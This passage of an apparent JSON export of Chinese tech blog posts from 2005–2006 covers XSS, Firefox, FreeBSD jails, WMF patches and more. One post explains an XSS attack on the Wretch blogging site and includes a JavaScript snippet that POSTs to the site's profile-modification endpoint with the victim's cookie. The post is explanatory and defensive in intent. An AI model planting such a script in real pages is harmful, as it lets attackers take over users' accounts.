    "body": "自從 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">布丁大長輩</a> 提到 Javascript 的邪惡之處後 (尤其是 <a href=\"http://en.wikipedia.org/wiki/XSS\" rel=\"tag\">XSS</a>，Cross Site Scripting)，我跟 Blake 學長就把 <a href=\"http://www.noscript.net/\" rel=\"tag\">NoScript</a> 給裝起來了... 另外一方面，看到一些東西就比較常去思考要怎麼惡搞 :p\r\n\r\n在防禦 XSS 這方面，就可以看出 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 有想到不少細節在做：\r\n<ul>\r\n\t<li>Blogger.com (Control Panel) 與 Blogspot.com (Template)。</li>\r\n\t<li>Google 的頁庫存檔會使用 IP address 而不是用 \"www.google.com\"。</li>\r\n</ul>\r\n很明顯的，無名小站自訂 CSS 的地方...",
    "title": "Google 對 XSS 的應對"
  },
  {
    "id": "272",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/77305075/\"><img src=\"http://static.flickr.com/39/77305075_5926b87124.jpg?v=0\" alt=\"\" /></a>\r\n\r\n依照 sothat 的說法設定 <code>browser.cache.memory.capacity</code> 之後還是會炸，而且居然還超過我設定的上限... @_@",
    "title": "Firefox 1.5 Memory Leak"
  },
  {
    "id": "273",
    "body": "F8 比較慢 (cwtex + latex + latex + dvips + ps2pdf)，F9 比較快 (cwtex + pdflatex + pdflatex)。跑兩次 latex 的目的在 <a href=\"http://ccms.ntu.edu.tw/~ntut019/cwtex/cwtex.html\" rel=\"tag\">cwTeX</a> 的 manual 裡面有提到原因。\r\n\r\n這是 <code>vimrc</code> 的部分：\r\n<blockquote><pre>\" TeX\r\nfunction MakeTeX()\r\n    let textfilename = expand(\"%:p:r\")\r\n    execute \"silent !cwtex \" . textfilename\r\n    execute \"silent !pdflatex \" . textfilename\r\n    execute \"silent !pdflatex \" . textfilename \r\nendfunction\r\n\r\nfunction MakeTeX2()\r\n    let textfilename = expand(\"%:p:r\")\r\n    execute \"silent !cwtex \" . textfilename\r\n    execute \"silent !latex \" . textfilename\r\n    execute \"silent !latex \" . textfilename\r\n    execute \"silent !dvips \" . textfilename\r\n    execute \"silent !ps2pdf \" . textfilename . \".ps\"\r\nendfunction\r\n\r\nfunction LanuchPDF()\r\n    let textfilename = expand(\"%:p:r\")\r\n    execute \"silent !start C:\\\\\\\\Program\\\\ Files\\\\\\\\Foxit\\\\ Reader\\\\\\\\Foxit\\\\ Reader.exe \" . textfilename . \".pdf\"\r\nendfunction\r\n\r\nau BufNewFile,BufRead *.ctx setf tex\r\nmap &lt;F8&gt; :call MakeTeX2()&lt;CR&gt;:call LanuchPDF()&lt;CR&gt;\r\nmap &lt;F9&gt; :call MakeTeX()&lt;CR&gt;:call LanuchPDF()&lt;CR&gt;</pre></blockquote>",
    "title": "vim 與 cwTeX 配合"
  },
  {
    "id": "274",
    "body": "前陣子美國的新聞媒體報導了 Bush 政府要求 NSA 大規模監控了所有的通訊資料。\r\n\r\n剛剛在 <a href=\"http://www.schneier.com/blog/\" rel=\"tag\">Bruce Schneier</a> 的 <a href=\"http://www.schneier.com/blog/archives/2005/12/is_the_nsa_read.html\">Is the NSA Reading Your E-Mail?</a> 這篇裡面看到了 Richard M Smith 提供反監控的想法：在信裡面提到一個別人不會 access 到的網頁，看 server log 是不是有被存取到。\r\n\r\n(然後我又想到 <a href=\"http://en.wikipedia.org/wiki/XSS\" rel=\"tag\">XSS</a> 了...)",
    "title": "反監控 E-mail"
  },
  {
    "id": "275",
    "body": "ryan 剛剛在 WordPress Repository 上 tag 了：<a href=\"http://trac.wordpress.org/changeset/3363\">Changeset 3363</a>。而 Matt 也正在幫 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress.org</a> 換機器：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/77727381/\"><img src=\"http://static.flickr.com/9/77727381_fef60d5fb0.jpg?v=0\" alt=\"\" /></a>\r\n\r\n<strong>Update</strong>：<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上也有新聞了：<a href=\"http://developers.slashdot.org/article.pl?sid=05/12/31/2156235\">WordPress 2.0 Released</a>，第一篇 comment 是：\r\n<blockquote>If history is any indication, there will be a 2.0.1 release soon. I can wait ;)</blockquote>\r\n這... XD",
    "title": "WordPress 2.0 出版！"
  },
  {
    "id": "276",
    "body": "<a href=\"http://blog.yam.com/hrwang/\" rel=\"tag\">汪長輩</a> 還是跟以前一樣機車：<a href=\"http://blog.yam.com/hrwang/archives/918277.html\">我用中國移動啦~</a>。\r\n\r\n不過有機會聽他機車會比較有趣 XD",
    "title": "中國移動"
  },
  {
    "id": "277",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 ASCII 版 Firefox Logo：<a href=\"http://digg.com/design/FireFox_logo_in_ASCII\">FireFox logo in ASCII</a>，原 link 在 Ash's <a href=\"http://www.freewebtown.com/ashonline/ascii.html\">Corner : DigiFox!</a>。\r\n\r\n應該是用程式轉的 :p",
    "title": "ASCII 版 Firefox Logo"
  },
  {
    "id": "278",
    "body": "改用 <a href=\"http://binarybonsai.com/wordpress/k2/\" rel=\"tag\">K2</a>。\r\n\r\n在 Template 裡面包一個 Template，這讓我想到 <a href=\"http://smarty.php.net/\" rel=\"tag\">Smarty</a> 被幹剿很慢的文章 XD (<a href=\"http://www.phpguru.org/static/templating.html\">Templating, the correct way</a>)\r\n\r\n對了，<a href=\"http://binarybonsai.com/wordpress/k2/\" rel=\"tag\">K2</a> 的討論區放在 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 上 (應該是為了貼圖方便)，以後如果發展這類軟體，好像也是個不錯的主意？:p",
    "title": "K2"
  },
  {
    "id": "279",
    "body": "因為要惡搞一些東西，不方便在現有的系統上跑，於是就跑去弄個 jail 出來用。比起 FreeBSD 4.x 需要自己寫一些 shell script 丟到 <code>/usr/local/etc/rc.d/</code> 下，6.0 下的 jail 已經整合到系統內了，所以不太需要在自己寫 shell script。\r\n\r\n而且 6.x 的 jail 也修掉不少 bug，像是 dmesg 偶而會出不來 (喂喂)，reboot 不會理你 (喂喂)... 另外 df 也只會看到 /，不會看到其他的 slice 了。\r\n\r\n要生出 jail 的環境，先是：\r\n<blockquote><pre>make buildworld\r\nmake installworld DESTDIR=/da1/jail0\r\nmake distribution DESTDIR=/da1/jail0</pre></blockquote>\r\n然後改 <code>/da1/jail0/etc/master.passwd</code>，把自己加進去，用 <code>pwd_mkdb -d /da1/jail0/etc /da1/jail0/etc/master.passwd</code> 重新編過一次，記得把家目錄開好 :p\r\n\r\n然後是 <code>/etc/rc.conf</code>：\r\n<blockquote><pre>ifconfig_fxp1_alias0=\"inet 192.168.113.10/24\"\r\njail_enable=\"YES\"\r\njail_list=\"testbase\"\r\njail_testbase_devfs_enable=\"YES\"\r\njail_testbase_devfs_ruleset=\"devfsrules_jail\"\r\njail_testbase_exec=\"/bin/sh /etc/rc\"\r\njail_testbase_hostname=\"testbase\"\r\njail_testbase_ip=\"192.168.113.10\"\r\njail_testbase_rootdir=\"/da1/jail0\"\r\npf_enable=\"YES\"</pre></blockquote>\r\n接下來弄 pf 的設定，所以去改 <code>/etc/pf.conf</code>：\r\n<blockquote><pre>nat on fxp0 from 192.168.113.0/24 to any -&gt; (fxp0)\r\nnat on fxp1 from 192.168.113.0/24 to any -&gt; (fxp0)</pre></blockquote>\r\n接下來把 jail 裡面的東西設一設，像是 <code>resolv.conf</code>。\r\n\r\n最後用系統給的 jail 就可以啟動了：\r\n<blockquote><pre>/etc/rc.d/jail start</pre></blockquote>\r\n第一次跑起來應該會卡在 ssh 產生金鑰的地方，所以就去喝個飲料之類的 :p (也可以自己先在 host 產生好，不過我這邊懶得講了，請自己去 <code>/etc/rc.d/sshd</code> 翻，需要三組金鑰)\r\n\r\n弄完以後就可以 ssh 進去玩了，如果要跟 host 共用 ports directory，可以用 mount_nullfs 以 read-only 掛上來 (security issue)，然後修改 <code>/etc/make.conf</code>，把本來會寫入的部分都改到 <code>/tmp</code> 下：\r\n<blockquote><pre>DISTDIR=        /tmp/distfiles\r\nWRKDIRPREFIX=   /tmp/WRKDIR</pre></blockquote>\r\n這樣應該就沒什麼大問題了 :D",
    "title": "FreeBSD 6.0 與 jail"
  },
  {
    "id": "280",
    "body": "跟應數九二的一堆同學一起跨年 :p 上次這群人一起跨年是六年前了... (這次出現的有：<a href=\"http://ashley.yichi.org/\" rel=\"tag\">ashley</a>、rere、walay * 2、jacky、fatcat + nai、singsong、eddy、adrian、我)\r\n\r\n中午起床，去系計中發現是 <a href=\"http://jnlin.org/\" rel=\"tag\">ericlin</a> 值班，四點的時候坐他的車跟 <a href=\"http://www.csie.nctu.edu.tw/~thyou/\" rel=\"tag\">thyou</a> 到新埔站，之後坐捷運到後山埤站，去吃 <a href=\"http://www.shopcool.com.tw/profiles/2004103037/overview.html\" rel=\"tag\">阿里不達太監羊</a> (其實我沒注意到是吃羊肉的 Q_Q)，中間還喝了點酒，拍了不少有趣的照片 :p 晚點會傳到 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 上 :p\r\n\r\n接下來就跑去市政府站，本來打算要去 <a href=\"http://www.eslitebooks.com/anchor/\" rel=\"tag\">誠品信義旗艦店</a> 跨年的，結果到門口發現在管制人數，要排隊 :p 於是就跑回 <a href=\"http://ashley.yichi.org/\" rel=\"tag\">ashley</a> 家打牌 (軟牌 + 硬牌)，打一打快十二點就跑出去信義路上看煙火 (可以直接看到 <a href=\"http://www.taipei101mall.com.tw/\" rel=\"tag\">台北 101</a>)，看完以後又跑回來打牌，大家都累了之後跑去睡覺，現在剩下我在用 <a href=\"http://www.phs.com.tw/\" rel=\"tag\">PHS</a> 連上網路寫 Blog XD (沒辦法，沒有好鄰居)\r\n\r\n可能等下回家繼續弄有的沒的吧 :p\r\n\r\n<strong>Update</strong>：照片在這：<a href=\"http://www.flickr.com/photos/gslin/sets/1714457/\">羊肉爐 (2005/12/31)</a>、<a href=\"http://www.flickr.com/photos/gslin/sets/1714753/\">捷運上 (2005/12/31)</a>、<a href=\"http://www.flickr.com/photos/gslin/80220720/\">公園前的合照</a>。",
    "title": "跨年"
  },
  {
    "id": "282",
    "body": "在 <a href=\"http://www.oui-news.com/\" rel=\"tag\">Oui-News</a> 上看到這篇：<a href=\"http://wwshare.idv.tw/plog/index.php?op=ViewArticle&articleId=122&blogId=1\">取代 Nero 的免費燒錄軟體 BurnAtOnce</a>，不過在這套軟體的官方網站下面這樣寫：\r\n<blockquote>burnatonce is a cdrdao / mkisofs gui for windows. burnatonce is free for non-commercial use only.</blockquote>\r\n我會推薦用另外一套軟體：<a href=\"http://www.cdburnerxp.se/\" rel=\"tag\">CDBurnerXP Pro</a>，這套沒有這個限制，而且這套軟體得過不少獎項：<a href=\"http://www.cdburnerxp.se/awards.php\">Awards</a>。",
    "title": "免費的 CD/DVD 燒錄軟體"
  },
  {
    "id": "283",
    "body": "在 <a href=\"http://blog.gslin.org/archives/2005/12/31/279/\">FreeBSD 6.0 與 jail</a> 這篇裡面我提到了安裝的方法，另外也提到如何跟 host 共用 ports 的方法。但是如果你想要使用 portupgrade 升級軟體，你會發現因為沒有辦法寫入 <code>/usr/ports</code> (要更新 INDEX.db) 而失敗。(<a href=\"http://jnlin.org/\" rel=\"tag\">ericlin</a> 跑來跟我幹剿 XD)\r\n\r\n我發現這個問題可以想辦法避開寫入 <code>/usr/ports</code> 就可以了，在 portupgrade 的 manpage 裡面有提到 PORTS_DBDIR 這個變數：\r\n<blockquote><pre>PORTS_DBDIR    Alternative location for the ports database files.\r\n               Default is ``$PORTSDIR''.</pre></blockquote>\r\n於是只要在 <code>/usr/local/etc/pkgtools.conf</code> 裡面設定：\r\n<blockquote><code>ENV['PORTS_DBDIR'] ||= '/tmp'</code></blockquote>\r\n指到 <code>/tmp</code> 就可以解決了。",
    "title": "FreeBSD Jail 裡面透過 Ports 升級軟體的方法"
  },
  {
    "id": "284",
    "body": "在 <a href=\"http://scobleizer.wordpress.com/\" rel=\"tag\">Scoble</a> 這篇 <a href=\"http://scobleizer.wordpress.com/2006/01/03/microsoft-wants-to-buy-yahoo/\">Microsoft wants to buy Yahoo?</a> 說 <a href=\"http://www.microsoft.com/athome/ces2005/default.mspx\" rel=\"tag\">CES</a> 與 <a href=\"http://www.macworldexpo.com/\" rel=\"tag\">MacWorld</a> 前的這個禮拜謠言滿天飛 :p\r\n\r\n當作很長的四月一號好了 :p (這讓我想到 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 在 2004/4/1 推出 <a href=\"http://gmail.com/\" rel=\"tag\">Gmail</a>，結果大家都以為是開玩笑的故事...)",
    "title": "謠言滿天飛"
  },
  {
    "id": "285",
    "body": "在 <a href=\"http://developer.mozilla.org/devnews/\" rel=\"tag\">Mozilla Developer News</a> 上看到的：<a href=\"http://developer.mozilla.org/devnews/index.php/2006/01/03/18011501-code-freeze-approaching/\">1.8.0.1/1.5.0.1 Code Freeze Approaching</a>， 依照文章內所說的時程，大約在一月底二月初就可以看到 1.5.0.1 了，希望可以修正掉極為嚴重的 memory leak 現象...。",
    "title": "Firefox 1.5.0.1 的時程表"
  },
  {
    "id": "286",
    "body": "已經有一堆網站在利用 WMF vulnerability (0 day！) 攻擊使用者了，而 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 居然說：我們將在 1/10 的例行性安全更新。換句話說，大約有一個星期的時間你的電腦將暴露在外？\r\n\r\n<a href=\"http://taiwan.cnet.com/\" rel=\"tag\">Taiwan.CNET.com</a>：<a href=\"http://taiwan.cnet.com/news/software/0,2000064574,20103606,00.htm\">Windows漏洞攻擊已出現 修補程式還不來</a>。\r\n\r\n剛剛在 <a href=\"http://packetstormsecurity.org/\" rel=\"tag\">packet storm</a> 看到這份非官方版本的 patch (<a href=\"http://packetstormsecurity.org/filedesc/WMFHotfix-1.4.msi.html\">WMFHotfix-1.4.msi</a>)：\r\n<blockquote>Unofficial temporary fix for the critical Windows WMF vulnerability which Microsoft will patch on 1/10/06. Tested on Windows 2000, Windows XP, and Windows XP Professional 64 Bit. The author recommends switching to the official MS patch when it becomes available. Includes c++ source.</blockquote>",
    "title": "非官方的 WMF vulnerability Patch"
  },
  {
    "id": "287",
    "body": "<a href=\"http://www.dreamhost.com/r.cgi?gslinn\" rel=\"tag\">DreamHost</a> 提高了 Shared Hosting 的容量以及流量上限：<a href=\"http://www.dreamhost.com/shared/comparison.html\">[ DreamHost : Shared Hosting : Plan Comparison ]</a>，這次一口氣提高到 1TB/month...\r\n\r\n不過如同 <a href=\"http://pesty.yichi.org/\" rel=\"tag\">pesty</a> 講的，在還沒到上限前，CPU resource 就已經先超量了吧 :p 所以只能放放檔案？XD",
    "title": "DreamHost 提高容量及流量上限"
  },
  {
    "id": "288",
    "body": "<h4>前言</h4>\r\n<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">布丁大長輩</a> 在 <a href=\"http://hlb.yichi.org/blog/2006/01/06/43\">Year.new(2006)</a> 這篇幹剿無名小站的 XSS 安全漏洞，沒有講的很明白，加上我這陣子沒在實驗室遇到 <a href=\"http://www.wretch.cc/blog/wkwu\" rel=\"tag\">wkwu</a> (是的，我跟他是同一個指導教授)，所以一直沒有跟他說這個在國外已經「開發」好一陣子的安全漏洞。\r\n\r\nJavascript 是在使用者端 (Browser) 跑的程式，理論上來說，讓使用者輸入自己的 Javascript 並不會有什麼問題，但實際上自從 <code>XMLHttpRequest()</code> 被大量應用後 (一開始發展 <a href=\"http://en.wikipedia.org/wiki/AJAX\" rel=\"tag\">AJAX</a> 所使用的核心技術之一)，有些人就發現 <code>XMLHttpRequest()</code> 是可以拿來當作攻擊的工具。\r\n<h4>舉例說明</h4>\r\n舉個例子說明會比較清楚。以目前最大的 <a href=\"http://www.wretch.cc/\" rel=\"tag\">無名小站</a> 為例，「修改個人資料」的頁面是在 <code>http://www.wretch.cc/user/modify.php?admin_user=1</code> 這個位置，會以 POST 的方式送給 <code>http://upload.wretch.cc/user/do_modify.php</code>，那麼我就可以在文章裡面嵌入一段 Javascript：(修改自 <a href=\"http://www.devx.com/DevX/Tip/17500\">Use the XMLHttpRequest Object to Post Data</a>)\r\n<blockquote><pre>var objHTTP, strResult;\r\nobjHTTP = new ActiveXObject('Microsoft.XMLHTTP');\r\nobjHTTP.Open('POST',\r\n  \"http://upload.wretch.cc/user/do_modify.php\",false);\r\nobjHTTP.setRequestHeader('Content-Type',\r\n  'application/x-www-form-urlencoded');\r\nobjHTTP.send(\"依照 form 的內容填入一些東西\");\r\nstrResult=objHTTP.responseText;</pre></blockquote>\r\n上面的程式碼是 IE Only 的程式碼，但是要弄 IE &amp; <a href=\"http://www.mozilla.org/products/firefox/\" rel=\"tag\">Firefox</a> 並存的程式碼其實只是加個 <code>if</code> 判斷句後改用 <code>new XMLHttpRequest</code> 而已...\r\n<h4>原因</h4>\r\n問題來了：為什麼這樣做有效？那我隨便用 <a href=\"http://search.cpan.org/dist/WWW-Mechanize/\" rel=\"tag\">WWW::Mechanize</a> 丟個東西進去 server 不就炸了？\r\n\r\n答案是：使用 <code>XMLHttpRequest()</code> 連線時，會送出使用者的 Cookie，於是 server 端會以這個 Cookie 的擁有人去做 Javascript 要做的事情！接下來就 !@#$%^...\r\n<h4>再一個例子</h4>\r\n你會說我只是隨便講講？其實這件事情在兩個月前已經在 MySpace.com 上發生過了，而且還寫成 worm 自動感染：<a href=\"http://it.slashdot.org/it/05/10/14/126233.shtml?tid=172&tid=95&tid=220\">Cross-Site Scripting Worm Floods MySpace</a> (<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a>)。\r\n<h4>Google 應對的方法</h4>\r\n回過頭來提 <a href=\"http://blog.gslin.org/archives/2005/12/26/271/\">Google 對 XSS 的應對</a> 這篇所提到的例子。\r\n\r\n假設有個人在他自己的網站上 (假設是 www.example.com) 放個 Javascript，用 <code>XMLHttpRequest()</code> 連 mail.google.com (Gmail) 的某些 function，幫使用者刪除所有的 mail。在平常的時候，會因為 example.com != google.com 而無法產生 XMLHttpRequest Object，但是在「頁庫存檔」的時候就會在同一個 Domain 下！於是 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 必須避免這種情況：硬把 www.google.com 換成 IP address，這樣就沒問題了。\r\n\r\n你可以測試 <a href=\"http://www.google.com/search?q=cache:http://www.google.com/\">http://www.google.com/search?q=cache:http://www.google.com/</a> 這個頁面，會發現 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 會故意換到 IP address。\r\n\r\n<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的另外一個服務是 <a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a>。你會發現 <a href=\"http://www.blogger.com\" rel=\"tag\">Blogger</a> 可以讓你隨便修改 Template 填入各種 code，於是你就可以對 *.blogspot.com 下面的 site 進行 XSS 攻擊：但實際上 <a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a> 的 Control panel 放在 blogger.com，於是根本不怕你利用 Template 惡搞。\r\n<h4>結語</h4>\r\n最後，Javascript 是邪惡的，平常逛網站請不要打開 Javascript：請安裝 <a href=\"http://www.noscript.net/\" rel=\"tag\">NoScript</a> 以避免被 ox 掉 :p",
    "title": "無名小站的 XSS 安全漏洞"
  },
  {
    "id": "289",
    "body": "在 <a href=\"http://battellemedia.com/archives/002196.php\">News Tags</a> 這篇看到的服務：<a href=\"http://newzingo.com/\" rel=\"tag\">Newzingo</a>，利用 <a href=\"http://news.google.com/\" rel=\"tag\">Google News</a> 的服務把重要的新聞列出來。\r\n\r\nTag Cloud：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/82694234/\"><img src=\"http://static.flickr.com/43/82694234_0f2934b7ce.jpg?v=0\" alt=\"\" /></a>\r\n\r\n隨便點進去看，這是 <a href=\"http://www.cesweb.org/\" rel=\"tag\">CES</a> 的：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/82694937/\"><img src=\"http://static.flickr.com/38/82694937_b28f161960.jpg?v=0\" alt=\"\" /></a>",
    "title": "Tag Cloud of Google News"
  },
  {
    "id": "290",
    "body": "<a href=\"http://binarybonsai.com/wordpress/k2/\" rel=\"tag\">K2</a> 的 forum 搬家了，用的是 <a href=\"http://getvanilla.com/\" rel=\"tag\">Vanilla</a>：<a href=\"http://binarybonsai.com/forums/\">Binary Bonsai Forums</a>，搬家的原因在 <a href=\"http://www.flickr.com/groups/binarybonsai/discuss/150854/\">ATTENTION: New Support Forums!</a> 有提到：\r\n<blockquote>First of all, there have been some complaints over the speed of flickr, and the occasional downtime. This should hopefully be cleared up on BB. And if nothing else, I can now actually do something about it if there's a problem.\r\n\r\nAlso, there are some forum features I've been wanting to implement, but haven't been able to.\r\n\r\nI'll be styling it so it's a bit easier on the eyes as soon as I can find the time (K2 takes priority though).</blockquote>\r\n雖然原來的還是會在，不過看起來整個重心會移過去 :p 那還是現在開始習慣 <a href=\"http://getvanilla.com/\" rel=\"tag\">Vanilla</a> 好了... (對，我還沒習慣)",
    "title": "K2 Forum"
  },
  {
    "id": "291",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://messenger.yahoo.com/\" rel=\"tag\">Yahoo! Messenger</a> 與翻譯軟體的結合：<a href=\"http://slashdot.org/article.pl?sid=06/01/05/1821210\">Yahoo IM Translator</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/82701632/\"><img src=\"http://static.flickr.com/43/82701632_e68fff23f3.jpg?v=0\" alt=\"\" /></a>",
    "title": "翻譯軟體與 IM 結合"
  },
  {
    "id": "292",
    "body": "剛剛收到 <a href=\"http://www.cert.org/\" rel=\"tag\">CERT</a> 寄來的通知，也看到 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上報導了：<a href=\"http://it.slashdot.org/article.pl?sid=06/01/05/2027259\">Microsoft to Patch WMF Exploit Early</a>。\r\n\r\n用 <a href=\"http://windowsupdate.microsoft.com/\" rel=\"tag\">Windows Update</a> 應該就可以看到更新了。\r\n<ul>\r\n\t<li><a href=\"http://www.microsoft.com/technet/security/Bulletin/MS06-001.mspx\">Microsoft Security Bulletin MS06-001</a> (<a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a>)</li>\r\n\t<li><a href=\"http://www.us-cert.gov/cas/techalerts/TA05-362A.html\">Microsoft Windows Metafile Handling Buffer Overflow</a> (<a href=\"http://www.cert.org/\" rel=\"tag\">CERT</a>)</li>\r\n\t<li><a href=\"http://www.us-cert.gov/cas/techalerts/TA06-005A.html\">Update for Microsoft Windows Metafile Vulnerability</a> (<a href=\"http://www.cert.org/\" rel=\"tag\">CERT</a>)</li>\r\n</ul>",
    "title": "Microsoft 提前公佈 WMF 安全性更新"
  },
  {
    "id": "293",
    "body": "在 jal 板上看到 ncku.tw 居然不是成大，用 whois 查下去發現：\r\n<blockquote><pre>Domain Name: ncku.tw\r\nRegistrant:\r\n華網資訊社\r\nSinaCom Tech.\r\n5Fl.,No.26,Gungyuan W.Rd.,GangShan Jen,Kaohsiung,Taiwan 820,R.O.C.\r\n\r\n   Domain Name: ncku.tw\r\n\r\n   Contact:\r\n      WeiJon,Hu   weijon.hu@msa.hinet.net\r\n      TEL:  (07)6221702\r\n      FAX:\r\n\r\n   Record expires on 2006-10-28 (YYYY-MM-DD)\r\n   Record created on 2005-10-27 (YYYY-MM-DD)\r\n\r\n   Domain servers in listed order:\r\n      dns.tvbid.com.tw       61.222.240.134\r\n      dns.tvbid.com.tw       61.222.240.134\r\n\r\nRegistrar: SEEDNET</pre></blockquote>\r\n跟 ncku.com.tw 是同一個：\r\n<blockquote><pre>Domain Name: ncku.com.tw\r\nRegistrant:\r\n華網資訊社\r\nSinaCom Tech.\r\n5Fl.,No.26,Gungyuan W.Rd.,GangShan Jen,Kaohsiung,Taiwan 820,R.O.C.\r\n\r\n   Domain Name: ncku.com.tw\r\n\r\n   Contact:\r\n      WeiJon,Hu   huweijon@ms9.hinet.net\r\n      TEL:  (07)6244545\r\n      FAX:  0943315449\r\n\r\n   Record expires on 2006-02-16 (YYYY-MM-DD)\r\n   Record created on 2004-02-08 (YYYY-MM-DD)\r\n\r\n   Domain servers in listed order:\r\n      dns.tvbid.com.tw       61.222.240.134\r\n      dns.tvbid.com.tw       61.222.240.134\r\n\r\nRegistrar: HINET</pre></blockquote>\r\n教育部沒有幫忙保留？還是發生什麼事情了？(該不會跟 NetworkSolutions 之前發生的疏失一樣吧...)",
    "title": "ncku.tw"
  },
  {
    "id": "294",
    "body": "前幾天在 nctu.talk 看到張組長在講 <a href=\"http://www.cht.com.tw/\" rel=\"tag\">中華電信</a> 的校園專案，如果是帶本來有的門號過去，通話費率以經濟型 (月租 200 不可抵型) 計算，不過月租費用 200 不用繳。\r\n\r\n表格在這裡下載：<a href=\"http://140.113.103.207/c_version/downloadin.htm\">140.113.103.207/c_version/downloadin.htm</a>，帶既有門號過去的不需要印證件那張，新辦的才要。\r\n\r\n早上跑去事務組把單子交出去，剛剛上 <a href=\"http://www.emome.net/\" rel=\"tag\">emome</a> 看就看到已經設定完成了，應該是下個月就不需要繳月租費了吧 :p\r\n\r\nPS：GSM/GPRS 的費率在 <a href=\"http://www.cht.com.tw/PersonalCat.php?Module=Fee,Describe&CatID=695&PageID=1706\">這裡</a>，經濟型的費率大約比月租可抵 288 型還便宜一些，再加上群組如果愈大折扣愈多，大約在九折之間吧，如果在交大用 <a href=\"http://www.cht.com.tw/\" rel=\"tag\">中華電信</a> 的人就跳過去吧 :p",
    "title": "中華電信的校園專案"
  },
  {
    "id": "295",
    "body": "剛剛在 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao 大長輩</a> 那邊的 <a href=\"http://blog.ijliao.info/archives/2006/01/07/2008/\">Google Pack</a> 這篇看到 <a href=\"http://pack.google.com/\" rel=\"tag\">Google Pack</a> 裡居然有 <a href=\"http://pack.google.com/product_symantec.html\">Norton AntiVirus 2005 Special Edition</a> (六個月的試用期) 就跑去裝起來試看看 :p (雖然交大一直都有買 Norton AntiVirus Enterprise Edition 的授權，不過我都沒裝，主要是中文版軟體裝在英文版 Windows 上每次都會有奇怪的問題...)\r\n\r\n裝起來之後病毒碼是 2005 九月的版本，Live Update 更新到 2006 一月的，用起來還可以，就測到下次重灌 Notebook 吧。",
    "title": "Google Pack"
  },
  {
    "id": "296",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到這篇：<a href=\"http://digg.com/apple/Bill_Gates_and_Sony%2C_still_unable_to_Out-Jobs_Steve_Jobs\">Bill Gates and Sony, still unable to \"Out-Jobs\" Steve Jobs</a>，不過更清楚的是第一篇 comment 所提到的文章：<a href=\"http://presentationzen.blogs.com/presentationzen/2005/11/the_zen_estheti.html\">Gates, Jobs, & the Zen aesthetic</a>。\r\n\r\n光是使用 Slide 的能力，就差超多的啊...\r\n\r\nPS：去年介紹 x86 Mac 的影片 (WWDC2005) 有人有留下來嗎？:p\r\n\r\n<strong>Update</strong>：我在 <a href=\"http://www.torrentz.com/\" rel=\"tag\">torrentz</a> 上找到了，正在下載... :p\r\n\r\n<strong>Update</strong>：我放在 <a href=\"http://files.gslin.org/Steve%20Jobs/Steve%20Jobs%20-%20WWDC%202005%20keynote.mov\">這裡</a>，不過這個版本有影音同步的問題，我再找看看其他版本。\r\n\r\n<strong>Update</strong>：潛水的路人提供了一個影音同步的版本 (用 Media Player Classic 看也正常)，我放一份 local mirror 到 <a href=\"http://files.gslin.org/Steve%20Jobs/wwdc2005.mov\">這裡</a>。",
    "title": "Bill Gates 與 Steve Jobs 的台風"
  },
  {
    "id": "297",
    "body": "最近發現 <a href=\"http://www.ntcu.net/\" rel=\"tag\">NTCU</a> 提供給學生的 <a href=\"http://vpn-student.ntcu.net/\" rel=\"tag\">VPN</a> 使用量增加不少：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/83527890/\"><img src=\"http://static.flickr.com/42/83527890_afefa871cf.jpg\" alt=\"211.76.240.29_fa3-day\" /></a>\r\n\r\n使用的人數大約在 100 人左右 (還在增加)，這種不分晝夜都是一樣的流量，一定是 P2P 軟體... 大概是想用 P2P 的人發現 <a href=\"http://www.p-cube.com/\" rel=\"tag\">P-Cube</a> 的存在了？\r\n\r\n在學校測試了一下 <a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a>，連國外的部分都被擋了下來，不過，如果雙方都用 BitComet 0.60 版的時候就不受到影響，這大概是因為 Encryption 的關係吧。\r\n\r\n再來測 <a href=\"http://www.emule-project.net/\" rel=\"tag\">eMule</a>，慘兮兮地，什麼地方都不能連，即使用 VPN 先把 Kad 跑起來，斷線以後也沒辦法建立起連線，看起來只有等到 <a href=\"http://www.emule-project.net/\" rel=\"tag\">eMule</a> 開始支援 Encryption，讓這些設備廠頭痛之後才有解 :p (來個 SSL-compatible encryption，那麼全世界搞 Content Filtering 的就當場暈倒 :p)",
    "title": "VPN 的使用量增加不少..."
  },
  {
    "id": "298",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上看到模仿 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 的色情網站 <a href=\"http://www.socialporn.com/\" rel=\"tag\">Socialporn</a>：<a href=\"http://digg.com/links/socialporn.com...its_digg_but_for_porn\">socialporn.com...its digg but for porn</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/83599367/\"><img src=\"http://static.flickr.com/40/83599367_1e9c48fbdd.jpg\" alt=\"socialporn\" /></a>\r\n\r\n靠靠，我笑翻了 XD",
    "title": "模仿 Digg 的色情網站：Socialporn.com"
  },
  {
    "id": "299",
